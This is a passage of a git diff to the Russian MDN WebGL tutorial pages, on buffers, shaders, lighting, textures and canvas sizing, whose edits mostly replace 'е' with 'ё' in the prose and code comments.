              В этом примере эта функция упрощена и даёт оценить основную суть сцены. Она начинает работу с вызова метода createBuffer() объекта gl для получения буфера, в котором мы будем хранить вершины. Затем он привязывается к контексту, вызовом метода bindBuffer().
              
 
-
              После того, как мы это сделали, мы создаем JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передается в метод bufferData() объекта gl для назначения вершин объекту.
              
+
              После того, как мы это сделали, мы создаём JavaScript массив, содержащий координаты для каждой вершины квадрата. Затем этот массив преобразуется в массив вещественных чисел WebGL и передаётся в метод bufferData() объекта gl для назначения вершин объекту.
              
 
 
              Отрисовка сцены
              
 
@@ -180,17 +180,17 @@ function initBuffers() {
 
 
              Первый шаг - очистка цветом фона сцены контекста. Затем мы устанавливаем перспективу камеры. Мы устанавливаем угол обзора в 45°, с соотношением ширины к высоте равным 640/480 (размеры нашего объекта canvas). Мы также определяем, что мы хотим видеть отрисованными объекты на расстоянии от 0.1 до 100 единиц от камеры.
              
 
-
              Затем мы устанавливаем позицию квадрата, загружая определенную позицию и размещая ее от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод drawArrays().
              
+
              Затем мы устанавливаем позицию квадрата, загружая определённую позицию и размещая её от камеры на 6 единиц. После этого, мы привязываем буфер, содержащий вершины квадрата к контексту, настраиваем его, и отрисовываем объект, вызывая метод drawArrays().
              
 
-
              Вы можете посмотреть как это работает щелкнув по этой ссылке. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.
              
+
              Вы можете посмотреть как это работает щёлкнув по этой ссылке. Но это только в том случае, если используемый браузер осуществляет поддержку WebGL.
              
 
 
              Операции над матрицами
              
 
 
              Операции над матрицами достаточно сложны. Никому бы не хотелось самому писать весь код для работы с ними. К счастью, есть Sylvester - очень удобная библиотека для выполнения операций над векторами и матрицами, написанная на JavaScript.
              
 
-
              Файл glUtils.js, используемый в этом примере, используется большинством примеров на WebGL, размещенных в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.
              
+
              Файл glUtils.js, используемый в этом примере, используется большинством примеров на WebGL, размещённых в сети интернет. Никто не знает точно откуда он появился. Он просто используется Sylvester и он даже пополняется методами для построения специальных типов матриц, а также вывода HTML для их отображения.
              
 
-
              Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определенных задач. Пояснения относительно того, что делает каждая из приведенных функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.
              
+
              Также, этот пример определяет несколько полезных процедур взаимодействия с этими библиотеками для выполнения определённых задач. Пояснения относительно того, что делает каждая из приведённых функций, выходят за рамки этого примера, но в сети есть много хороших материалов об операциях над матрицами. Чуть {{ anch("ниже") }} есть список некоторых из них.
              
 
 
              function loadIdentity() {
   mvMatrix = Matrix.I(4);
diff --git a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
index 919d3fccff..af607e92cf 100644
--- a/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/animating_objects_with_webgl/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL
 
              var squareRotation = 0.0;
 
              
 
-
              Теперь нам надо изменить процедуру drawScene() и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчета матрицы положения для квадрата мы применяем условия поворота следующим образом:
              
+
              Теперь нам надо изменить процедуру drawScene() и добавить в неё код, который бы учитывал этот угол поворота при отрисовке квадрата в нашей сцене. После первоначального расчёта матрицы положения для квадрата мы применяем условия поворота следующим образом:
              
 
 
              mvPushMatrix();
 mvRotate(squareRotation, [1, 0, 1]);
diff --git a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
index 0684b89016..f9390f7fe2 100644
--- a/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/creating_3d_objects_using_webgl/index.html
@@ -9,9 +9,9 @@ original_slug: Web/API/WebGL_API/Tutorial/Создание_3D_объектов_
 ---
 
              {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL")}}
              
 
-
              Давайте поместим наш квадрат в трехмерное пространство, добавив еще 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.
              
+
              Давайте поместим наш квадрат в трёхмерное пространство, добавив ещё 5 граней, чтобы получить куб. Чтобы сделать это наиболее продуктивно, вместо рисования вершин непосредственным вызовом метода {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} , мы будем использовать массив вершин в виде таблицы и ссылаться на каждую вершину в этой таблице, чтобы определить положение каждой вершины грани, вызывая {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}}.
              
 
-
              Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трем граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трем граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трех разных цветов, по одной для каждой грани.
              
+
              Заметим: чтобы определить каждую грань необходимо четыре вершины, но каждая вершина принадлежит трём граням. Мы можем передавать намного меньше данных, построив список всех 24-х вершин, затем ссылаться на каждую из них в этом списке по её индексу, вместо того чтобы передавать все множество вершин. Если вы удивлены, почему нам нужны 24 вершины, а не только 8, так это потому, что каждое ребро принадлежит трём граням разных цветов, и каждая отдельная вершина должна иметь конкретный отдельный цвет - поэтому мы создадим 3 копии каждой вершины трёх разных цветов, по одной для каждой грани.
              
 
 
              Определение позиций вершин куба
              
 
diff --git a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
index 0e50af82fa..c42db89750 100644
--- a/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/getting_started_with_webgl/index.html
@@ -7,9 +7,9 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
 ---
 
              {{WebGLSidebar("Tutorial")}} {{Next("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context")}}
              
 
-
              WebGL позволяет веб-контенту использовать API, основанный на OpenGL ES 2.0, для визуализации трехмерной графики без использования плагинов в HTML элементе canvas в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.
              
+
              WebGL позволяет веб-контенту использовать API, основанный на OpenGL ES 2.0, для визуализации трёхмерной графики без использования плагинов в HTML элементе canvas в браузерах, которые осуществляют его поддержку. WebGL программы состоят из кода управления, написанном на JavaScript и кода специальных эффектов (шейдерного кода), который выполняется на графическом процессоре. WebGL элементы могут быть смешаны с другими HTML элементами и собраны с другими частями веб-страницы или фоном веб-страницы.
              
 
-
              Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трехмерной графики. Данная статья не обучит вас OpenGL.
              
+
              Эта статья знакомит вас с основами использования WebGL. Предполагается, что вы уже знакомы с математическими основами трёхмерной графики. Данная статья не обучит вас OpenGL.
              
 
 
              Подготовка к визуализации в 3D
              
 
@@ -24,7 +24,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL
 
 
              Подготовка контекста WebGL
              
 
-
              Функция start(), в нашем JavaScript коде вызывается после загрузки документа. Ее назначение - настройка контекста WebGL и начать отрисовку содержимого.
              
+
              Функция start(), в нашем JavaScript коде вызывается после загрузки документа. Её назначение - настройка контекста WebGL и начать отрисовку содержимого.
              
 
 
              var gl; // глобальная переменная для контекста WebGL
 
@@ -36,7 +36,7 @@ function start() {
   // продолжать только если WebGL доступен и работает
 
   if (gl) {
-    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета черный, полная непрозрачность
+    gl.clearColor(0.0, 0.0, 0.0, 1.0);                      // установить в качестве цвета очистки буфера цвета чёрный, полная непрозрачность
     gl.enable(gl.DEPTH_TEST);                               // включает использование буфера глубины
     gl.depthFunc(gl.LEQUAL);                                // определяет работу буфера глубины: более ближние объекты перекрывают дальние
     gl.clear(gl.COLOR_BUFFER_BIT|gl.DEPTH_BUFFER_BIT);      // очистить буфер цвета и буфер глубины.
@@ -44,13 +44,13 @@ function start() {
 }
 
              
 
-
              Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем ее в переменную canvas. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить ее в локальной переменной или в поле объекта.
              
+
              Первое, что мы здесь делаем - получаем ссылку на элемент canvas, помещаем её в переменную canvas. Очевидно, что если вам не требуется многократно получать ссылку на canvas, вы должны избежать сохранения этого значения глобально, а только сохранить её в локальной переменной или в поле объекта.
              
 
-
              Как только мы получили ссылку на canvas, мы вызываем функцию initWebGL(); Эту функцию мы определяем незамедлительно, ее работа - инициализировать контекст WebGL.
              
+
              Как только мы получили ссылку на canvas, мы вызываем функцию initWebGL(); Эту функцию мы определяем незамедлительно, её работа - инициализировать контекст WebGL.
              
 
-
              Если контекст успешно инициализирован, в gl будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на черный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.
              
+
              Если контекст успешно инициализирован, в gl будет содержаться ссылка на него. В этом случае, мы устанавливаем цвет очистки буфера цвета (цвет фона) на чёрный, затем очищаем контекст этим цветом. После этого, контекст конфигурируется параметрами настройки. В данном случае, мы включаем буфер глубины и определяем, что более близкие объекты будут перекрывать более дальние.
              
 
-
              Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трехмерных объектов.
              
+
              Всё вышеперечисленное необходимо сделать только для первоначальной инициализации. Чуть позже мы увидим работу по визуализации трёхмерных объектов.
              
 
 
              Создание контекста WebGL
              
 
@@ -80,19 +80,19 @@ function start() {
 
 
              Обратите внимание: Контекст, именуемый как "experimental-webgl" - это временное имя для контекста, используемое на время процесса разработки спецификации. После того, как спецификация будет полностью разработана будет использоваться только имя контекста "webgl".
              
 
-
              На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой черный блок, готовый к заполнению контентом.
              
+
              На данном этапе этого кода достаточно, чтобы успешно инициализировать контекст WebGL, и вы увидите пустой чёрный блок, готовый к заполнению контентом.
              
 
-
              Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведенного выше кода, щелкнув по этой ссылке.
              
+
              Если ваш браузер поддерживает WebGL, то вы можете посмотреть результат выполнения приведённого выше кода, щёлкнув по этой ссылке.
              
 
 
              Изменение размера контекста WebGL
              
 
-
              Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путем задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL viewport(), чтобы подтвердить изменения.
              
+
              Новый контекст WebGL будет иметь возможность задания размеров области отображения в момент получения контекста путём задания высоты и ширины элемента canvas, без использования CSS. Редактирование стиля элемента canvas будет изменять его отображаемый размер, без изменения размеров области отрисовки. Редактирование атрибутов ширины и высоты элемента canvas после создания контекста не будет также изменять число пикселей для отрисовки. Чтобы изменить размер области отрисовки, с которой WebGL производит работу, например, когда пользователь изменяет размер окна на весь экран или когда вам необходимо менять настройки графики в самом приложении, вам необходимо вызвать контекстную функцию WebGL viewport(), чтобы подтвердить изменения.
              
 
 
              Чтобы изменить размер области отрисовки контекста WebGL с переменными gl и canvas, использующимися в примере выше:
              
 
 
              gl.viewport(0, 0, canvas.width, canvas.height);
              
 
-
              Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьезным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (MSAA) и на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.
              
+
              Элемент canvas будет изменять размер, в случае, если его отрисовать с другими размерами области отрисовки, чем те, что указаны в его стилях CSS, согласно которым он занимает место на экране. Изменение размера с помощью CSS наиболее полезно для сохранения ресурсов, отрисовывая с низким разрешением и позволяя браузеру растягивать полученный результат; сжимать возможно при использовании эффекта избыточной выборки сглаживания ( super sample antialiasing - SSAA) (приводит к менее приемлемым результатам и серьёзным потерям производительности). В большинстве случаев лучше полагаться на множественную выборку сглаживания (MSAA) и на реализацию алгоритмов фильтрации текстур, которые поддерживаются браузером пользователя, чем делать то же самое посредством грубой силы и надеяться, что алгоритм масштабирования изображений, используемый браузером, выдаст красивый результат.
              
 
 
              Смотрите также
              
 
diff --git a/files/ru/web/api/webgl_api/tutorial/index.html b/files/ru/web/api/webgl_api/tutorial/index.html
index 9b0f0f75e6..88f55bf361 100644
--- a/files/ru/web/api/webgl_api/tutorial/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial
 
 
              Перед тем как начать
              
 
-
              Использование элемента <canvas>  - это не сложно, но вы должны понимать основы HTML и JavaScript. <canvas> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создает графику на лету.
              
+
              Использование элемента <canvas>  - это не сложно, но вы должны понимать основы HTML и JavaScript. <canvas> и WebGL не поддерживаются в некоторых старых браузерах, но поддерживаются в последних версиях всех основных. Чтобы рисовать графику на canvas нужно использовать объекты контекста JavaScript, который создаёт графику на лету.
              
 
 
              В этом руководстве
              
 
@@ -35,5 +35,5 @@ translation_of: Web/API/WebGL_API/Tutorial
  
              Освещение объектов в WebGL
              
  
              Как симулировать эффект света в контексте WebGL.
              
  
              Анимирование текстур в WebGL
              
- 
              Как анимировать текстуры; здесь путем отображения Ogg видео на поверхность вращающегося куба.
              
+ 
              Как анимировать текстуры; здесь путём отображения Ogg видео на поверхность вращающегося куба.
              
 
diff --git a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
index 57c1b21e35..f1645ba200 100644
--- a/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/lighting_in_webgl/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
 
 
              Окружающий свет освещает всю сцену. Он не направленный и освещает все грани всех объектов одинаково, не зависимо от ориентации граней.
              
 
-
              Направленный свет исходит из определенного направления. Этот свет приходит от настолько удаленного источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.
              
+
              Направленный свет исходит из определённого направления. Этот свет приходит от настолько удалённого источника, что все фотоны летят параллельно друг другу. К примеру, солнечный свет можно считать.
              
 
 
              Точечный свет исходит из одной точки во всех направлениях. В реальном мире многие источники освещения являются точечными, например электрическая лампочка.
              
 
@@ -28,11 +28,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
  
            • Нам нужно знать направление, в котором распространяется свет. Оно определяется вектором направления.
              •
          -

          Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учетом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.

          +

          Затем мы обновим вершинный шейдер, чтобы скорректировать цвет каждой вершины в зависимости от окружающего и направленного освещения с учётом угла падения на грань. Мы увидим, как это делается, когда посмотрим на код шейдера.

          Построение нормали для вершин

          -

          Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчет нормалей будет более затратным.

          +

          Сначала нам нужно создать массив нормалей для всех вершин, из которых состоит наш куб. Это будет просто, потому что куб очень простой объект. Очевидно, что для более сложных объектов расчёт нормалей будет более затратным.

            const normalBuffer = gl.createBuffer();
   gl.bindBuffer(gl.ARRAY_BUFFER, normalBuffer);
@@ -89,7 +89,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
          -

          Код уже должен выглядеть узнаваемо. Мы создаем новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи bufferData().

          +

          Код уже должен выглядеть узнаваемо. Мы создаём новый буфер, связываем его с рабочим буфером и записываем в него массив нормалей к вершинам при помощи bufferData().

          Затем добавим в drawScene() код, который свяжет массив нормалей с атрибутом шейдера. Таким образом шейдер сможет получить к нему доступ:

          @@ -114,7 +114,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL   } -

          В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер матрицу нормалей, которая используется для трансформации нормалей при расчете ориентации куба относительно направления на источник света:

          +

          В конце нужно обновить код, который строит матрицы для uniform-переменных, чтобы создать и передать в шейдер матрицу нормалей, которая используется для трансформации нормалей при расчёте ориентации куба относительно направления на источник света:

            const normalMatrix = mat4.create();
   mat4.invert(normalMatrix, modelViewMatrix);
@@ -166,15 +166,15 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
   `;
          -

          После расчета позиции вершины мы передаем координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчет освещения вершины.

          +

          После расчёта позиции вершины мы передаём координаты текселя ({{Glossary("texel")}}), соответствующего вершине, во фрагментный шейдер, и начинаем расчёт освещения вершины.

          Сначала нужно преобразовать нормаль, основываясь на текущей ориентации куба - умножив нормаль вершины на матрицу нормалей. Затем мы можем рассчитать количество света от направленного источника, которое приходит в вершину, посчитав скалярное произведение преобразованной нормали и вектора направления (направления, с которого приходит свет). Если скалярное произведение меньше нуля, то мы принимаем его за ноль, потому что количество света не может быть меньше 0.

          -

          После расчета количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.

          +

          После расчёта количества падающего направленного света мы можем посчитать финальное освещение, сложив окружающий свет и произведение количества направленного света на его цвет. В результате получается значение RGB, которое используется фрагментным шейдером для изменения цвета каждого пикселя.

          Фрагментный шейдер

          -

          Фрагментный шейдер должен быть обновлен таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:

          +

          Фрагментный шейдер должен быть обновлён таким образом, чтобы он учитывал в значение освещения, рассчитанное в вершинном шейдере:

            const fsSource = `
     varying highp vec2 vTextureCoord;
diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
index 0c01467385..1e3a2c7358 100644
--- a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -11,14 +11,14 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
 
 
          Задание цвета вершинам
          
 
-
          В GL, объекты строятся с использованием наборов вершин, для каждой из которых задается положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определенных цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.
          
+
          В GL, объекты строятся с использованием наборов вершин, для каждой из которых задаётся положение в пространстве и цвет. По умолчанию, цвета всех остальных пикселей (и все их другие атрибуты, включая положение в пространстве) вычисляются с использованием линейной интерполяции, автоматически создавая плавный градиент. В прошлый раз наш вершинный шейдер не задавал определённых цветов вершинам, а фрагментный шейдер назначил фиксированный белый цвет каждому пикселю, поэтому квадрат целиком был отрисован белым цветом.
          
 
-
          Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зеленого и белый. Первое, что необходимо сделать - назначить эти цвета четырем вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию initBuffers():
          
+
          Предположим, что мы хотим отрисовать градиент, в котором каждый угол квадрата разного цвета: красного, синего, зелёного и белый. Первое, что необходимо сделать - назначить эти цвета четырём вершинам. Чтобы сделать это, нам сначала необходимо создать массив цветов вершин, а затем сохранить его в WebGL буфер. Мы сделаем это, добавив следующий код в нашу функцию initBuffers():
          
 
 
            var colors = [
     1.0,  1.0,  1.0,  1.0,    // белый
     1.0,  0.0,  0.0,  1.0,    // красный
-    0.0,  1.0,  0.0,  1.0,    // зеленый
+    0.0,  1.0,  0.0,  1.0,    // зелёный
     0.0,  0.0,  1.0,  1.0     // синий
   ];
 
@@ -48,11 +48,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
     </script>
 
          
 
-
          Ключевым отличием здесь является то, что для каждой вершины, мы задаем цвет на соответствующее значение из массива цвета.
          
+
          Ключевым отличием здесь является то, что для каждой вершины, мы задаём цвет на соответствующее значение из массива цвета.
          
 
 
          Окраска фрагментов
          
 
-
          Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведен его код:
          
+
          Чтобы напомнить, как фрагментный шейдер выглядел ранее, ниже приведён его код:
          
 
 
              <script id="shader-fs" type="x-shader/x-fragment">
       void main(void) {
@@ -88,7 +88,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
   gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
 
          
 
-
          На этом этапе, вы можете посмотреть результат работы написанного кода, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом черном поле):
          
+
          На этом этапе, вы можете посмотреть результат работы написанного кода, если используете браузер, поддерживающий WebGL. Вы увидите нечто похожее на следующий рисунок (расположенный по центру в большом чёрном поле):
          
 
 
          screenshot.png
          
 
diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
index 706bf00786..5d3b79d1bc 100644
--- a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
 ---
 
          {{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}
          
 
-
          Сейчас наша программа рисует вращающийся объемный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.
          
+
          Сейчас наша программа рисует вращающийся объёмный куб - давайте натянем на него текстуру вместо заливки граней одним цветом.
          
 
 
          Загрузка текстур
          
 
@@ -52,7 +52,7 @@ function loadTexture(gl, url) {
     // и к не имеющим размер степени 2, поэтому проверяем, что изображение
     // имеет размер степени 2 в обеих измерениях.
     if (isPowerOf2(image.width) && isPowerOf2(image.height)) {
-       // Размер соответствует степени 2. Создаем MIP'ы.
+       // Размер соответствует степени 2. Создаём MIP'ы.
        gl.generateMipmap(gl.TEXTURE_2D);
     } else {
        // Размер не соответствует степени 2.
@@ -71,15 +71,15 @@ function isPowerOf2(value) {
   return (value & (value - 1)) == 0;
 }
          -

          Функция loadTexture() начинается с создания объекта WebGL texture вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создает текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.

          +

          Функция loadTexture() начинается с создания объекта WebGL texture вызовом функции {{domxref("WebGLRenderingContext.createTexture()", "createTexture()")}}. Сначала функция создаёт текстуру из единственного голубого пикселя, используя {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Таким образом текстура может быть использована сразу (как сплошной голубой цвет) при том, что загрузка изображения может занять некоторое время.

          -

          Чтобы загрузить текстуру из файла изображения, функция создает объект Image и присваивает атрибуту src адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие image.onload,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.

          +

          Чтобы загрузить текстуру из файла изображения, функция создаёт объект Image и присваивает атрибуту src адрес, с которого мы хотим загрузить текстуру. Функция, которую мы назначили на событие image.onload,будет вызвана после завершения загрузки изображения. В этот момент мы вызываем {{domxref("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, используя загруженное изображение как исходник для текстуры. Затем мы устанавливаем фильтрацию и натяжение, исходя из того, является ли размер изображения степенью 2 или нет.

          В WebGL1 изображения размера, не являющегося степенью 2, могут использовать только NEAREST или LINEAR фильтрацию, и для них нельзя создать mipmap. Также для таких изображений мы должны установить натяжение CLAMP_TO_EDGE. С другой стороны, если изображение имеет размер степени 2 по обеим осям, WebGL может производить более качественную фильтрацию, использовать mipmap и режимы натяжения REPEAT или MIRRORED_REPEAT.

          Примером повторяющейся текстуры является изображение нескольких кирпичей, которое размножается для покрытия поверхности и создания изображения кирпичной стены.

          -

          Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придется контролировать, как именно устройство будет обрабатывать текстуру.

          +

          Мипмаппинг и UV-повторение могут быть отключены с помощью {{domxref("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Так вы сможете использовать текстуры с размером, не являющимся степенью 2 (NPOT - non-power-of-two), ценой отключения мипмаппинга, UV-натяжения, UV-повторения, и вам самому придётся контролировать, как именно устройство будет обрабатывать текстуру.

          // также разрешено gl.NEAREST вместо gl.LINEAR, но не mipmap.
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
@@ -88,7 +88,7 @@ gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
 // Не допускаем повторения по t-координате.
 gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
          -

          Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный черный цвет rgba(0,0,0,0).

          +

          Повторим, что с этими параметрами совместимые WebGL устройства будут допускать использование текстур с любым разрешением (вплоть до максимального). Без подобной настройки WebGL потерпит неудачу при загрузке NPOT-текстур, и вернёт прозрачный чёрный цвет rgba(0,0,0,0).

          Для загрузки изображения добавим вызов loadTexture() в функцию main(). Код можно разместить после вызова initBuffers(gl).

          @@ -145,7 +145,7 @@ const texture = loadTexture(gl, 'cubetexture.png');           indices: indexBuffer, };           -

          Сначала мы создаем WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.

          +

          Сначала мы создаём WebGL буфер, в котором сохраняем координаты текстуры для каждой грани, затем связываем его с массивом, в который будем записывать значения.

          Массив textureCoordinates определяет координаты текстуры, соответствующие каждой вершине каждой грани. Заметьте, что координаты текстуры лежат в промежутке между 0.0 и 1.0. Размерность текстуры нормализуется в пределах между 0.0 и 1.0, независимо от реального размера изображения.

          @@ -174,7 +174,7 @@ const texture = loadTexture(gl, 'cubetexture.png'); } `; -

